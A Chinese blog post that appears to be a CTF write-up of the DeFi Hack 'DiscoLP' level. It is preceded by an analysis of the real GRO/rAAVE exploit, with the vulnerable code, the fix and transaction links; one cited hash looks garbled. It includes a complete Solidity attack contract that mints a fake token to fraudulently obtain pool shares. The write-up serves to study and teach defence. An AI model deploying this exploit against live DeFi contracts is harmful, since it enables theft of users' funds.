整片文章详细的分析了defi hack的关卡,及其相关的defi攻击的真实案例!
DeFi 代表去中心化金融,旨在取代银行、对冲基金、保险公司等传统金融机构。通过消除第三方,DeFi 允许以真正去中心化的方式管理资金,最大限度地减少腐败并促进真正的所有权。话虽如此,DeFi 不仅对合法用户而且对恶意行为者都是透明的。这就是为什么智能合约安全问题变得前所未有的严重。不同 DeFi 协议的可组合性增加了智能合约交互的复杂性。确保智能合约安全是一项非常艰巨的任务,过去发生的大量 DeFi 协议黑客攻击证明了这一点。 DeFi Hack 挑战是基于 DeFi 协议的真实漏洞创造的类似CTF的演练挑战。 这次我们讲解其中的一个关卡挑战-DiscoLP
在开始正式讲关卡挑战前,我们先讲一个真实发生的defi攻击案例 ,先讲解2021 年 2 月 8 日下午 6:17 UTC 在其中一个rAAVE 质押池 ( stkGRO/rAAVE ) 中发生的 GRO/rAAVE 漏洞利用分析,对后面对挑战的理解会更深刻。
攻击者创建了一个名为rAXZZ的假 ERC-20 代币,并与它相关联的Uniswap V2 流动性池将其与 GRO (GRO/rAXZZ) 匹配。
然后,攻击者使用合约的单一资产存款功能,将 19,900,000,000,000 rAXZZ 存入 stkGRO/rAAVE 合约。根据 Uniswap 池的要求,此功能使用流动性提供者交换一半的资金,然后使用两种资产提供所需的流动性。
由于 stkGRO/rAAVE 合约中的一个漏洞——它没有正确检查 LP 资产和存入的代币之间的匹配——允许接受存款。它被转发到 Uniswap V2 路由器,该路由器通过假 LP 路由(按照 stkGRO/rAAVE 的指示)交换和随后的流动性供应。
获得的 5056 股 GRO/rAXZZ LP 股票随后被 stkGRO/rAAVE 合约误认为是合法的 GRO/rAAVE LP 股票。然后它接受了它们以换取 14513 股新铸造的 stkGRO/rAAVE 股票。
此操作发生在该交易中: https://etherscan.io/tx/0x47cc8504f870020d5e5a8a5f0e2c242cc790b7fbc0dffb183e2f20a668fc076e
请注意,stkGRO/rAAVE 股票的价格由储备金额(GRO/rAAVE LP 股票)除以 stkGRO/rAAVE 供应量得出。因此,存款后供应增加,但储备保持不变。基本上,攻击者能够凭空铸造 14513 stkGRO/rAAVE。 这就是漏洞利用原理,剩下的就是操作。
一旦持有 14513 stkGRO/rAAVE 股份,攻击者便使用简单的提款功能从 stkGRO/rAAVE 合约中提取 5056 GRO/rAAVE LP 股份,返回给质押者 GRO/rAAVE LP 股份并销毁提供的 stkGRO/ rAAVE 股票。
此操作发生在该交易中: https://etherscan.io/tx/0xa3d64cd6541657c86331c8b1b037ad184216610d3653af9b7909601981ec32c1
一旦拥有 GRO/rAAVE LP 股票,他就开始去除流动性,获得 27517 GRO 和 1218 rAAVE。
此操作发生在该交易中: https://etherscan.io/tx/0x2152214a6be27a904af5a25e77fdca92ae60c6a9d7d298a41f88558649a41a23
接下来,攻击者在 Uniswap 上分别用 27517 GRO 和 1218 rAAVE 换取 597 和 204 ETH。
此操作发生在这些交易中: https://etherscan.io/tx/0xffef18b38096c96c1f6be784ea0ebb07964137858e38f3d65858a79e6a96797f https://etherscan.io/tx/0xce020fabb3c56c75b23ac7d53d5259959ba12b7caaed959ba12b7caed9ffed9
然后资金被分配到并保留以下 4 个钱包:
发送 231 ETH to 0x11a68fbef437b0be0961de3ef879a56c8c2a86ea 发送 147 ETH to 0x8b662fb502133f592a969bf308a255a8f2e99642 发送 274 ETH to 0x5cc6ba1e6e9391bd00997a820cb8c8b0d5191aed 发送 149 ETH to 0x05d32895a283ff696104b7a0dfc63c5fe2ac8089
以上操作的交易: https://etherscan.io/tx/0x0a6b5c92abcfbf07fb31d9e6c402b82c8756a80823c309d063a9a735d3f817eb https://etherscan.io/tx/0xac4407bf2fa52003960449cecc92d3a9e0175f40d9bf11b9d808c3282f2ec2b4 https://etherscan.io/tx/0x0391fa91f18873566a31f5a6dd73b6ae5c4aa48146b64edf615eaacf0fece735 https://etherscan.io/tx/0xb80894d79ba238b1867ea17beb821f58084d42b52b7db24f04ca9cf1ae9b680c
下面是stkGRO/rAAVE的单一资产充值代码。它需要 4 个参数:
a GRO/rAAVE Uniswap 矿池地址 b.要存入的代币地址 c.存入的金额 d.以及可接受的最低 LP 股份数量作为回报 该函数通过 Uniswap 路由器执行交换和流动性提供。该漏洞的存在是因为没有检查或限制将存放的代币地址与构成 GRO/rAAVE 对的两个代币之一联系起来。
下面可以看到带有漏洞的原始代码和修复代码 漏洞原始代码:
function _joinPool(address _pair, address _token, uint256 _amount, uint256 _minShares) internal returns (uint256 _shares)
{
if (_amount == 0) return 0;
address _router = $.UniswapV2_ROUTER02;
address _token0 = Pair(_pair).token0();
address _token1 = Pair(_pair).token1();
address _otherToken = _token == _token0 ? _token1 : _token0;
(uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
uint256 _swapAmount = _calcSwapOutputFromInput(_token == _token0 ? _reserve0 : _reserve1, _amount);
if (_swapAmount == 0) _swapAmount = _amount / 2;
uint256 _leftAmount = _amount.sub(_swapAmount);
Transfers._approveFunds(_token, _router, _amount);
address[] memory _path = new address[](2);
_path[0] = _token;
_path[1] = _otherToken;
uint256 _otherAmount = Router02(_router).swapExactTokensForTokens(_swapAmount, 1, _path, address(this), uint256(-1))[1];
Transfers._approveFunds(_otherToken, _router, _otherAmount);
(,,_shares) = Router02(_router).addLiquidity(_token, _otherToken, _leftAmount, _otherAmount, 1, 1, address(this), uint256(-1));
require(_shares >= _minShares, "high slippage");
return _shares;
}
修复代码,修复在第 8 行:
function _joinPool(address _pair, address _token, uint256 _amount, uint256 _minShares) internal returns (uint256 _shares)
{
if (_amount == 0) return 0;
address _router = $.UniswapV2_ROUTER02;
address _token0 = Pair(_pair).token0();
address _token1 = Pair(_pair).token1();
require(_token == _token0 || _token == _token1, "Invalid token");
address _otherToken = _token == _token0 ? _token1 : _token0; //这是修复的代码
(uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
uint256 _swapAmount = _calcSwapOutputFromInput(_token == _token0 ? _reserve0 : _reserve1, _amount);
if (_swapAmount == 0) _swapAmount = _amount / 2;
uint256 _leftAmount = _amount.sub(_swapAmount);
Transfers._approveFunds(_token, _router, _amount);
address[] memory _path = new address[](2);
_path[0] = _token;
_path[1] = _otherToken;
uint256 _otherAmount = Router02(_router).swapExactTokensForTokens(_swapAmount, 1, _path, address(this), uint256(-1))[1];
Transfers._approveFunds(_otherToken, _router, _otherAmount);
(,,_shares) = Router02(_router).addLiquidity(_token, _otherToken, _leftAmount, _otherAmount, 1, 1, address(this), uint256(-1));
require(_shares >= _minShares, "high slippage");
return _shares;
}
这个简单的错误导致了漏洞利用的大门,该漏洞利用可以并且将会使用假令牌和 LP 来完成攻击。
一旦团队意识到漏洞利用,缓解包括以下两个方面: a.从质押合约中移除剩余的 rAAVE 资金流动性 b.通过 GrowthDeFi 和 rAAVE 沟通渠道呼吁社区采取行动
通过对这件攻击事件的分析,相信对这个漏洞有了一定了解,接着,我们开始正式的关卡
挑战地址:https://www.defihack.xyz/level/0x3d527CF313c00dc3886BF00960B80dfff5C04BD8 挑战简介: DiscoLP是一种全新的流动性挖矿协议!您可以通过存入一些 JIMBO 或 JAMBO 代币来参与。所有流动性都将提供给 JIMBO-JAMBO Uniswap 对。通过向我们提供流动性,您将获得 DISCO 代币作为回报! 挑战:你有 1 个 JIMBO 和 1 个 JAMBO,你能得到至少 100 个 DISCO 代币吗?
挑战代码:
pragma solidity >=0.6.5;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Babylonian.sol";
contract DiscoLP is ERC20, Ownable, ReentrancyGuard
{
using SafeERC20 for IERC20;
address public immutable reserveToken;
constructor (string memory _name, string memory _symbol, uint8 _decimals, address _reserveToken)
ERC20(_name, _symbol) public
{
_setupDecimals(_decimals);
assert(_reserveToken != address(0));
reserveToken = _reserveToken;
_mint(address(this), 100000 * 10 ** 18); // some inital supply
}
function calcCostFromShares(uint256 _shares) public view returns (uint256 _cost)
{
return _shares.mul(totalReserve()).div(totalSupply());
}
function totalReserve() public view returns (uint256 _totalReserve)
{
return IERC20(reserveToken).balanceOf(address(this));
}
// accepts only JIMBO or JAMBO tokens
function depositToken(address _token, uint256 _amount, uint256 _minShares) external nonReentrant
{
address _from = msg.sender;
uint256 _minCost = calcCostFromShares(_minShares);
if (_amount != 0) {
IERC20(_token).safeTransferFrom(_from, address(this), _amount);
}
uint256 _cost = UniswapV2LiquidityPoolAbstraction._joinPool(reserveToken, _token, _amount, _minCost);
uint256 _shares = _cost.mul(totalSupply()).div(totalReserve().sub(_cost));
_mint(_from, _shares);
}
}
library UniswapV2LiquidityPoolAbstraction
{
using SafeMath for uint256;
using SafeERC20 for IERC20;
function _joinPool(address _pair, address _token, uint256 _amount, uint256 _minShares) internal returns (uint256 _shares)
{
if (_amount == 0) return 0;
address _router = $.UniswapV2_ROUTER02;
address _token0 = Pair(_pair).token0();
address _token1 = Pair(_pair).token1();
address _otherToken = _token == _token0 ? _token1 : _token0;
(uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
uint256 _swapAmount = _calcSwapOutputFromInput(_token == _token0 ? _reserve0 : _reserve1, _amount);
if (_swapAmount == 0) _swapAmount = _amount / 2;
uint256 _leftAmount = _amount.sub(_swapAmount);
_approveFunds(_token, _router, _amount);
address[] memory _path = new address[](2);
_path[0] = _token;
_path[1] = _otherToken;
uint256 _otherAmount = Router02(_router).swapExactTokensForTokens(_swapAmount, 1, _path, address(this), uint256(-1))[1];
_approveFunds(_otherToken, _router, _otherAmount);
(,,_shares) = Router02(_router).addLiquidity(_token, _otherToken, _leftAmount, _otherAmount, 1, 1, address(this), uint256(-1));
require(_shares >= _minShares, "high slippage");
return _shares;
}
function _calcSwapOutputFromInput(uint256 _reserveAmount, uint256 _inputAmount) private pure returns (uint256)
{
return Babylonian.sqrt(_reserveAmount.mul(_inputAmount.mul(3988000).add(_reserveAmount.mul(3988009)))).sub(_reserveAmount.mul(1997)) / 1994;
}
function _approveFunds(address _token, address _to, uint256 _amount) internal
{
uint256 _allowance = IERC20(_token).allowance(address(this), _to);
if (_allowance > _amount) {
IERC20(_token).safeDecreaseAllowance(_to, _allowance - _amount);
}
else
if (_allowance < _amount) {
IERC20(_token).safeIncreaseAllowance(_to, _amount - _allowance);
}
}
}
library $
{
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}
interface Router01
{
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}
interface Router02 is Router01
{
}
interface PoolToken is IERC20
{
}
interface Pair is PoolToken
{
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
}
大家仔细看完代码就会发现这一挑战和上面的攻击事件类似。
Uniswap 的设计方式是必须以相同的比例存入一对代币,但此功能允许抵押一个代币,将一半的价值换成第二个代币。作为回报,将被给予LP 股份。 可能看完上面的事件分析,你已经发现了合约的漏洞点,这个合约的 depositToken()函数并不局限于 JIMBO 或 JAMBO 代币,而是接受了任何代币,并没有验证_token参数,这意味着允许质押任何代币,以至于凭空铸造 DISCO。虽然原因很简单,但攻击执行需要多个步骤。
Token evil = new Token("Evil Token", "EVIL"); // Token is ERC20
evil.approve(instance, 2**256 - 1);
evil.approve(_router, 2**256 - 1);
IERC20(tokenA).approve(_router, 2**256 - 1);
address pair = IUniswapV2Factory(_factory).createPair(address(evil), address(tokenA));
(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
address(evil),
address(tokenA),
100000000000 * 10 ** 18, // EVIL liquidity
1 * 10 ** 18, // 1 JIMBO
1, 1,
address(this), // address to send LP shares (attacker contract)
2**256 - 1);
DiscoLP(instance).depositToken(address(evil), amount, 1);
交换零价值的 EVIL 代币后,我们将获得大量 DiscoLP 股份!
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}
interface Pair
{
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
}
interface DiscoLP is IERC20 {
function depositToken(address _token, uint256 _amount, uint256 _minShares) external;
function calcCostFromShares(uint256 _shares) external view returns (uint256);
function totalReserve() external view returns (uint256);
}
library $
{
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}
contract Token is ERC20 {
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) public {
_mint(msg.sender, 2**256 - 1);
}
}
contract Attack {
uint256 public balance;
function attack (address instance, uint256 amount, address tokenA) public {
address _factory = $.UniswapV2_FACTORY;
address _router = $.UniswapV2_ROUTER02;
Token evil = new Token("Evil Token", "EVIL");
evil.approve(instance, 2**256 - 1);
evil.approve(_router, 2**256 - 1);
IERC20(tokenA).approve(_router, 2**256 - 1);
address pair = IUniswapV2Factory(_factory).createPair(address(evil), address(tokenA));
(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
address(evil),
address(tokenA),
100000000000 * 10 ** 18,
1 * 10 ** 18,
1, 1, address(this), 2**256 - 1);
DiscoLP(instance).depositToken(address(evil), amount, 1);
balance = DiscoLP(instance).balanceOf(address(this));
}
}
/**
* step 1: get reserveToken() on instance
* step 2: get token0 on Pair(reserveToken)
* step 3: deploy attack contract
* step 4: token0.transfer(attack contract, 1 * 10 ** 18)
* step 5: attack(instance, 50000 * 10 ** 18, token0)
*/
到这里,完整的分析就结束了,希望大家能够有所收获!
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!